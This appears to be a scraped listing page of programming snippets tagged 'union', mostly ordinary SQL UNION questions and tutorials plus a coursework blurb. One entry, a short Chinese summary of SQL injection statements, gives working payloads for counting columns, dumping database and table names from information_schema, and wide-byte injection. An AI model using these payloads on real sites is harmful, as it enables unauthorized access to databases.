union

COMP201 Assignment

由 风流意气都作罢 提交于 2020-01-25 05:56:15
COMP201 Assignment 1 1 Details Module COMP201 Weighting 20% of module grade NEW Deadline 12 noon, Tuesday 12th November 2019 Purpose of Assignment To assess student ability to analyse, generate, and document user requirements; to assess student ability to create a software product that is compliant with user requirements. Learning Outcomes Assessed: The following learning outcomes are assessed, as per the module specification: LO 2: Understand the need to design systems that fully meet the requirements of the intended users including functional and non functional elements; LO 4: Be fully aware

sql注入语句简单总结

由 荒凉一梦 提交于 2020-01-25 03:07:20
0 'union select 1,2,3……………… # 到几时失败的前一个就是列数，比如1，2，3，4时不报错,加个5报错那么说明有4列 ' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #爆数据库名，表名 获取news 表的字段名，数据类型: ' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'# news是表名 宽字节注入: 爆库名： id=%df%27 and 1=2 union select 2,database()%23 爆表名： id=%df%27 and 1=2 union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()%23 来源： CSDN 作者： ～何止～ 链接： https://blog.csdn.net/weixin_43900387/article/details/104077329

PHP MySQL How to select 2 specific and 1 common value over 2 tables?

由 a 夏天 提交于 2020-01-24 13:10:47
问题 i have here two tables (only the important columns listed) : table1: unique_code(INT), spediteur(VARCHAR also Names), table2: unique_code(INT), versendet(timestamp) I have here a SELECT but that don't work and if the value is true - that means: just let me into the IF WHEN: spediteur value is Name and versendet = 0000-00-00 00:00:00 and unique_code = $value (unique_code/$value must be equal in this two tables). I have tried with this: $pdo = new PDO('myconnectionworks') $stmt = pdo->prepare(

PHP MySQL How to select 2 specific and 1 common value over 2 tables?

由 好久不见. 提交于 2020-01-24 13:09:12
问题 i have here two tables (only the important columns listed) : table1: unique_code(INT), spediteur(VARCHAR also Names), table2: unique_code(INT), versendet(timestamp) I have here a SELECT but that don't work and if the value is true - that means: just let me into the IF WHEN: spediteur value is Name and versendet = 0000-00-00 00:00:00 and unique_code = $value (unique_code/$value must be equal in this two tables). I have tried with this: $pdo = new PDO('myconnectionworks') $stmt = pdo->prepare(

How to limit an SQL result set to not too common items

由 橙三吉。 提交于 2020-01-24 11:58:07
问题 Problem: I have a list of names and addresses. Some names (persons) have the same address (street, zip code, town) like others. I want to select all those names with addresses with no more than three occurrences and from the rest the first three names each of a bunch pointing to the same address. Example: Albert | Adr1 Berta | Adr1 Cesar | Adr1 Donald | Adr1 Eric | Adr2 Fritz | Adr2 Gerd | Adr2 Henry | Adr3 The result set should be Albert | Adr1 Berta | Adr1 Cesar | Adr1 Eric | Adr2 Fritz |

How to limit an SQL result set to not too common items

由 ￣綄美尐妖づ 提交于 2020-01-24 11:58:05
问题 Problem: I have a list of names and addresses. Some names (persons) have the same address (street, zip code, town) like others. I want to select all those names with addresses with no more than three occurrences and from the rest the first three names each of a bunch pointing to the same address. Example: Albert | Adr1 Berta | Adr1 Cesar | Adr1 Donald | Adr1 Eric | Adr2 Fritz | Adr2 Gerd | Adr2 Henry | Adr3 The result set should be Albert | Adr1 Berta | Adr1 Cesar | Adr1 Eric | Adr2 Fritz |

mysql多表查询

由 对着背影说爱祢 提交于 2020-01-23 20:29:07
文章目录 union, union all cross join inner join left [outer] join right [outer] join 自连接 三张表内连接 子查询 union, union all -- 第一张表与第二张表纵向地合并，有去重的功能 MariaDB [ hellodb ] > select * from teachers - > union - > select stuid,name,age,gender from students ; MariaDB [ hellodb ] > select * from teachers union select * from teachers ; -- 纵向合并不去重 MariaDB [ hellodb ] > select * from teachers union all select * from teachers ; cross join -- 交叉连接 ( 横向笛卡尔 ) MariaDB [ hellodb ] > select * from students cross join select * from teachers ; inner join MariaDB [ hellodb ] > select * from students inner join teachers on

UNION with WHERE clause

由 匆匆过客 提交于 2020-01-22 05:47:15
问题 I'm doing a UNION of two queries on an Oracle database. Both of them have a WHERE clause. Is there a difference in the performance if I do the WHERE after UNION ing the queries compared to performing the UNION after WHERE clause? For example: SELECT colA, colB FROM tableA WHERE colA > 1 UNION SELECT colA, colB FROM tableB WHERE colA > 1 compared to: SELECT * FROM (SELECT colA, colB FROM tableA UNION SELECT colA, colB FROM tableB) WHERE colA > 1 I believe in the second case, it performs a full

SQL UNION 和 UNION ALL 操作符

由 故事扮演 提交于 2020-01-18 07:49:06
SQL UNION 操作符 UNION 操作符用于合并两个或多个 SELECT 语句的结果集。 请注意，UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时，每条 SELECT 语句中的列的顺序必须相同。 SQL UNION 语法 SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2 注释：默认地，UNION 操作符选取不同的值。如果允许重复的值，请使用 UNION ALL。 SQL UNION ALL 语法 SELECT column_name(s) FROM table_name1 UNION ALL SELECT column_name(s) FROM table_name2 另外，UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。 下面的例子中使用的原始表： Employees_China: E_ID E_Name 01 Zhang, Hua 02 Wang, Wei 03 Carter, Thomas 04 Yang, Ming Employees_USA: E_ID E_Name 01 Adams, John 02 Bush, George 03 Carter, Thomas 04

UNION working in phpmyadmin, but not in my PHP code

由 微笑、不失礼 提交于 2020-01-17 15:09:36
问题 so the query below will run in my phpmyadmin (with the variables as actual values as course), but when I run it in my php code I only get the first field returned (as if the second query after the UNION was never run). $result=mysql_query("(SELECT RID, Name, Address, City, State, Zip_Code, Phone FROM restaurant WHERE Name = '$sql_name' AND City = '$sql_location') UNION (SELECT RID, Name, Address, City, State, Zip_Code, Phone FROM restaurant WHERE Name = '$sql_name' OR City = 'sql_location') "
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